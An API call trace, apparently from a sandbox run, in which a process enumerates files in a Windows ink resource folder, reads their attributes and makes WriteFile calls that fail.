	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1
	[0242.644] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1
	[0242.645] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000225578 | out: lpFindFileData=0xc000225578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.645] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0242.647] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225744, lpOverlapped=0x0) returned 0
	[0242.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1
	[0242.653] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00)) returned 1
	[0242.696] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1
	[0242.739] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.739] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0242.740] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0242.780] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00)) returned 1
	[0242.889] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0242.925] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200)) returned 1
	[0242.940] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0242.940] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8)) returned 1
	[0242.953] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.953] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.953] SetEvent (hEvent=0xfc) returned 1
	[0242.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28)) returned 1
	[0242.954] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.954] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0242.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e)) returned 1
	[0242.969] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0243.014] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.015] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.015] SetEvent (hEvent=0xe4) returned 1
	[0243.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de)) returned 1
	[0243.015] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.016] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc)) returned 1
	[0243.016] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.016] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.016] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
